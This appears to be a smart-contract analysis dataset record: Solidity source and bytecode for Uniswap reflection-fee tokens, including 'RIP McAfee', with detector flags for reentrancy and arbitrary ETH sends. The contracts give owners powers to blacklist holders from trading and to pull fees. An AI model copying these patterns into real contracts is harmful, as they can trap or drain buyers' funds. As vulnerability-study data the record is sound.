_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if(rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function openTrading() external onlyOwner() { require(!_tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); _maxBuyAmount = 5000000000 * 10**9; // 1,000,000,000,000 total tokens // 50,000,000,000 = 5% of total token count _maxHeldTokens = 50000000000 * 10**9; _buyLimitEnd = block.timestamp + (120 seconds); _maxHeldTokensEnd = block.timestamp + (12 hours); _launchFeeEnd = block.timestamp + (1 hours); _tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function manualswap() external { require(_msgSender() == _feeAddress1); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _feeAddress1); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function toggleFees() external { require(_msgSender() == _feeAddress1); _useFees = false; emit UseFeesBooleanUpdated(_useFees); } function updateFeeAddress1(address newAddress) external { require(_msgSender() == _feeAddress1); _feeAddress1 = payable(newAddress); emit FeeAddress1Updated(_feeAddress1); } function updateFeeAddress2(address newAddress) external { require(_msgSender() == _feeAddress2); _feeAddress2 = payable(newAddress); emit FeeAddress2Updated(_feeAddress2); } function setCooldownEnabled() external { require(_msgSender() == _feeAddress1); _cooldownEnabled = !_cooldownEnabled; emit CooldownEnabledUpdated(_cooldownEnabled); } function cooldownEnabled() public view returns (bool) { return _cooldownEnabled; } function balancePool() public view returns (uint) { return balanceOf(uniswapV2Pair); } function balanceContract() public view returns (uint) { return balanceOf(address(this)); } function usingFees() public view returns (bool) { return _useFees; } function whatIsFeeAddress1() public view returns (address) { return _feeAddress1; } function whatIsFeeAddress2() public view returns (address) { return _feeAddress2; } }
0x60806040526004361061014f5760003560e01c806370eb843b116100b6578063c3c8cd801161006f578063c3c8cd80146103c2578063c4a8814f146103d7578063c9567bf9146103f5578063dd62ed3e1461040a578063ddf5451214610450578063e63aff631461046557600080fd5b806370eb843b14610310578063715018a6146103255780638da5cb5b1461033a57806395d89b4114610358578063a9059cbb14610383578063a985ceef146103a357600080fd5b80632e82b8f3116101085780632e82b8f31461026b578063313ce5671461028a578063322a5e5f146102a657806350901617146102bb5780636fc3eaec146102db57806370a08231146102f057600080fd5b806306fdde031461015b5780630802d2f6146101a15780630853b3dc146101c3578063095ea7b3146101f557806318160ddd1461022557806323b872dd1461024b57600080fd5b3661015657005b600080fd5b34801561016757600080fd5b5060408051808201909152600b81526a15185ad948141c9bd99a5d60aa1b60208201525b6040516101989190611bde565b60405180910390f35b3480156101ad57600080fd5b506101c16101bc366004611aae565b61047a565b005b3480156101cf57600080fd5b506011546001600160a01b03165b6040516001600160a01b039091168152602001610198565b34801561020157600080fd5b50610215610210366004611b62565b6104ef565b6040519015158152602001610198565b34801561023157600080fd5b50683635c9adc5dea000005b604051908152602001610198565b34801561025757600080fd5b50610215610266366004611b21565b610506565b34801561027757600080fd5b50601354600160b81b900460ff16610215565b34801561029657600080fd5b5060405160098152602001610198565b3480156102b257600080fd5b5061023d61056f565b3480156102c757600080fd5b506101c16102d6366004611aae565b61057f565b3480156102e757600080fd5b506101c16105ed565b3480156102fc57600080fd5b5061023d61030b366004611aae565b61061a565b34801561031c57600080fd5b5061023d61063c565b34801561033157600080fd5b506101c1610654565b34801561034657600080fd5b506000546001600160a01b03166101dd565b34801561036457600080fd5b50604080518082019091526002815261054560f41b602082015261018b565b34801561038f57600080fd5b5061021561039e366004611b62565b6106fd565b3480156103af57600080fd5b50601354600160a81b900460ff16610215565b3480156103ce57600080fd5b506101c161070a565b3480156103e357600080fd5b506010546001600160a01b03166101dd565b34801561040157600080fd5b506101c1610740565b34801561041657600080fd5b5061023d610425366004611ae8565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561045c57600080fd5b506101c1610b6a565b34801561047157600080fd5b506101c1610be1565b6010546001600160a01b0316336001600160a01b03161461049a57600080fd5b601080546001600160a01b0319166001600160a01b0383169081179091556040519081527f0e96f8986653644392af4a5daec8b04a389af0d497572173e63846ccd26c843c906020015b60405180910390a150565b60006104fc338484610c5d565b5060015b92915050565b6000610513848484610d81565b610565843361056085604051806060016040528060288152602001611d56602891396001600160a01b038a166000908152600460209081526040808320338452909152902054919061132a565b610c5d565b5060019392505050565b600061057a3061061a565b905090565b6011546001600160a01b0316336001600160a01b03161461059f57600080fd5b601180546001600160a01b0319166001600160a01b0383169081179091556040519081527f96511497113ddf59712b28350d7457b9c300ab227616bd3b451745a395a53014906020016104e4565b6010546001600160a01b0316336001600160a01b03161461060d57600080fd5b4761061781611364565b50565b6001600160a01b038116600090815260026020526040812054610500906113e9565b60135460009061057a906001600160a01b031661061a565b6000546001600160a01b031633146106b35760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b60006104fc338484610d81565b6010546001600160a01b0316336001600160a01b03161461072a57600080fd5b60006107353061061a565b90506106178161146d565b6000546001600160a01b0316331461079a5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016106aa565b601354600160a01b900460ff16156107f45760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016106aa565b601280546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556108313082683635c9adc5dea00000610c5d565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561086a57600080fd5b505afa15801561087e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108a29190611acb565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156108ea57600080fd5b505afa1580156108fe573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109229190611acb565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b15801561096a57600080fd5b505af115801561097e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109a29190611acb565b601380546001600160a01b0319166001600160a01b039283161790556012541663f305d71947306109d28161061a565b6000806109e76000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b158015610a4a57600080fd5b505af1158015610a5e573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610a839190611bb0565b5050674563918244f40000600e55506802b5e3af16b1880000600f55610aaa426078611ca4565b601455610ab94261a8c0611ca4565b601555610ac842610e10611ca4565b600d5560138054600160a01b60ff60a01b1982161790915560125460405163095ea7b360e01b81526001600160a01b039182166004820152600019602482015291169063095ea7b390604401602060405180830381600087803b158015610b2e57600080fd5b505af1158015610b42573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b669190611b8e565b5050565b6010546001600160a01b0316336001600160a01b031614610b8a57600080fd5b6013805460ff60b81b1916908190556040517f875ab13664b130e9f02c6927ebda6944d90a0f0db6c0fdb7cc7ec5f85ed630b891610bd791600160b81b90910460ff161515815260200190565b60405180910390a1565b6010546001600160a01b0316336001600160a01b031614610c0157600080fd5b6013805460ff600160a81b808304821615810260ff60a81b1990931692909217928390556040517f0d63187a8abb5b4d1bb562e1163897386b0a88ee72e0799dd105bd0fd6f2870693610bd79390049091161515815260200190565b6001600160a01b038316610cbf5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016106aa565b6001600160a01b038216610d205760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016106aa565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610de55760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016106aa565b6001600160a01b038216610e475760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016106aa565b60008111610ea95760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016106aa565b6001610ebd6000546001600160a01b031690565b6001600160a01b0316846001600160a01b031614158015610eec57506000546001600160a01b03848116911614155b156112bb57601354600160a81b900460ff1615610f6c573360009081526006602052604090206002015460ff16610f6c57604080516060810182526000808252602080830182815260018486018181523385526006909352949092209251835590519282019290925590516002909101805460ff19169115159190911790555b6013546001600160a01b038581169116148015610f9757506012546001600160a01b03848116911614155b8015610fbc57506001600160a01b03831660009081526005602052604090205460ff16155b1561119e5760016009908155600a55601354600160a01b900460ff166110245760405162461bcd60e51b815260206004820152601860248201527f54726164696e67206e6f742079657420656e61626c65642e000000000000000060448201526064016106aa565b4260155411156110a257600f5461104461103d8561061a565b84906115f6565b11156110a25760405162461bcd60e51b815260206004820152602760248201527f596f752063616e2774206f776e2074686174206d616e7920746f6b656e7320616044820152663a1037b731b29760c91b60648201526084016106aa565b601354600160a81b900460ff16156111645742601454111561116457600e548211156110cd57600080fd5b6001600160a01b038316600090815260066020526040902054421161113f5760405162461bcd60e51b815260206004820152602260248201527f596f75722062757920636f6f6c646f776e20686173206e6f7420657870697265604482015261321760f11b60648201526084016106aa565b61114a42601e611ca4565b6001600160a01b0384166000908152600660205260409020555b601354600160a81b900460ff161561119e5761118142600f611ca4565b6001600160a01b0384166000908152600660205260409020600101555b60006111a93061061a565b601354909150600160b01b900460ff161580156111d457506013546001600160a01b03868116911614155b80156111e95750601354600160a01b900460ff165b156112b95760016009818155600a55600d549092504210156112105760016009556013600a555b601354600160a81b900460ff1615611298576001600160a01b03851660009081526006602052604090206001015442116112985760405162461bcd60e51b815260206004820152602360248201527f596f75722073656c6c20636f6f6c646f776e20686173206e6f7420657870697260448201526232b21760e91b60648201526084016106aa565b80156112a7576112a78161146d565b4780156112b7576112b747611364565b505b505b6001600160a01b03841660009081526005602052604090205460ff16806112fa57506001600160a01b03831660009081526005602052604090205460ff165b8061130f5750601354600160b81b900460ff16155b15611318575060005b61132484848484611655565b50505050565b6000818484111561134e5760405162461bcd60e51b81526004016106aa9190611bde565b50600061135b8486611cfd565b95945050505050565b6010546001600160a01b03166108fc61137e836002611683565b6040518115909202916000818181858888f193505050501580156113a6573d6000803e3d6000fd5b506011546001600160a01b03166108fc6113c1836002611683565b6040518115909202916000818181858888f19350505050158015610b66573d6000803e3d6000fd5b60006007548211156114505760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016106aa565b600061145a6116c5565b90506114668382611683565b9392505050565b6013805460ff60b01b1916600160b01b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106114b5576114b5611d2a565b6001600160a01b03928316602091820292909201810191909152601254604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561150957600080fd5b505afa15801561151d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115419190611acb565b8160018151811061155457611554611d2a565b6001600160a01b03928316602091820292909201015260125461157a9130911684610c5d565b60125460405163791ac94760e01b81526001600160a01b039091169063791ac947906115b3908590600090869030904290600401611c33565b600060405180830381600087803b1580156115cd57600080fd5b505af11580156115e1573d6000803e3d6000fd5b50506013805460ff60b01b1916905550505050565b6000806116038385611ca4565b9050838110156114665760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016106aa565b80611662576116626116e8565b61166d848484611716565b8061132457611324600b54600955600c54600a55565b600061146683836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061180d565b60008060006116d261183b565b90925090506116e18282611683565b9250505090565b6009541580156116f85750600a54155b156116ff57565b60098054600b55600a8054600c5560009182905555565b6000806000806000806117288761187d565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061175a90876118da565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461178990866115f6565b6001600160a01b0389166000908152600260205260409020556117ab8161191c565b6117b58483611966565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516117fa91815260200190565b60405180910390a3505050505050505050565b6000818361182e5760405162461bcd60e51b81526004016106aa9190611bde565b50600061135b8486611cbc565b6007546000908190683635c9adc5dea000006118578282611683565b82101561187457505060075492683635c9adc5dea0000092509050565b90939092509050565b600080600080600080600080600061189a8a600954600a5461198a565b92509250925060006118aa6116c5565b905060008060006118bd8e8787876119df565b919e509c509a509598509396509194505050505091939550919395565b600061146683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061132a565b60006119266116c5565b905060006119348383611a2f565b3060009081526002602052604090205490915061195190826115f6565b30600090815260026020526040902055505050565b60075461197390836118da565b60075560085461198390826115f6565b6008555050565b60008080806119a4606461199e8989611a2f565b90611683565b905060006119b7606461199e8a89611a2f565b905060006119cf826119c98b866118da565b906118da565b9992985090965090945050505050565b60008080806119ee8886611a2f565b905060006119fc8887611a2f565b90506000611a0a8888611a2f565b90506000611a1c826119c986866118da565b939b939a50919850919650505050505050565b600082611a3e57506000610500565b6000611a4a8385611cde565b905082611a578583611cbc565b146114665760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016106aa565b600060208284031215611ac057600080fd5b813561146681611d40565b600060208284031215611add57600080fd5b815161146681611d40565b60008060408385031215611afb57600080fd5b8235611b0681611d40565b91506020830135611b1681611d40565b809150509250929050565b600080600060608486031215611b3657600080fd5b8335611b4181611d40565b92506020840135611b5181611d40565b929592945050506040919091013590565b60008060408385031215611b7557600080fd5b8235611b8081611d40565b946020939093013593505050565b600060208284031215611ba057600080fd5b8151801515811461146657600080fd5b600080600060608486031215611bc557600080fd5b8351925060208401519150604084015190509250925092565b600060208083528351808285015260005b81811015611c0b57858101830151858201604001528201611bef565b81811115611c1d576000604083870101525b50601f01601f1916929092016040019392505050565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611c835784516001600160a01b031683529383019391830191600101611c5e565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611cb757611cb7611d14565b500190565b600082611cd957634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611cf857611cf8611d14565b500290565b600082821015611d0f57611d0f611d14565b500390565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b6001600160a01b038116811461061757600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122010b9e0d7e371a39c899493e00a1c7cf92571ff06fa8fc9f3541265c7677f5c8864736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
2,519
0xe512751da6b419d3902c8726642579ad9cc3809b
//Telegram: //https://t.me/whackdmcafee // SPDX-License-Identifier: Unlicensed pragma solidity ^0.6.12; abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; return msg.data; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } library Address { function isContract(address account) internal view returns (bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { if (returndata.length > 0) { assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract Whackd is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private _isExcluded; mapping (address => bool) private bots; mapping (address => uint) private cooldown; address[] private _excluded; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1* 10**12 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; string private constant _name = "RIP McAfee"; string private constant _symbol = '$WHACKD️'; uint8 private constant _decimals = 9; uint256 private _taxFee = 4; uint256 private _teamFee = 4; uint256 private _previousTaxFee = _taxFee; uint256 private _previousteamFee = _teamFee; address payable private _FeeAddress; address payable private _marketingWalletAddress; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor (address payable FeeAddress, address payable marketingWalletAddress) public { _FeeAddress = FeeAddress; _marketingWalletAddress = marketingWalletAddress; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[FeeAddress] = true; _isExcludedFromFee[marketingWalletAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { if (_isExcluded[account]) return _tOwned[account]; return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if(_taxFee == 0 && _teamFee == 0) return; _previousTaxFee = _taxFee; _previousteamFee = _teamFee; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = _previousTaxFee; _teamFee = _previousteamFee; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (cooldownEnabled) { if (from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router)) { require(_msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair,"ERR: Uniswap only"); } } if(from != address(this)){ require(amount <= _maxTxAmount); require(!bots[from] && !bots[to]); } if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (30 seconds); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){ takeFee = false; } _tokenTransfer(from,to,amount,takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _FeeAddress.transfer(amount.div(2)); _marketingWalletAddress.transfer(amount.div(2)); } function manualswap() external { require(_msgSender() == _FeeAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _FeeAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = false; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function setBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private { if(!takeFee) removeAllFee(); if (_isExcluded[sender] && !_isExcluded[recipient]) { _transferFromExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && _isExcluded[recipient]) { _transferToExcluded(sender, recipient, amount); } else if (_isExcluded[sender] && _isExcluded[recipient]) { _transferBothExcluded(sender, recipient, amount); } else { _transferStandard(sender, recipient, amount); } if(!takeFee) restoreAllFee(); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferToExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); if(_isExcluded[address(this)]) _tOwned[address(this)] = _tOwned[address(this)].add(tTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable 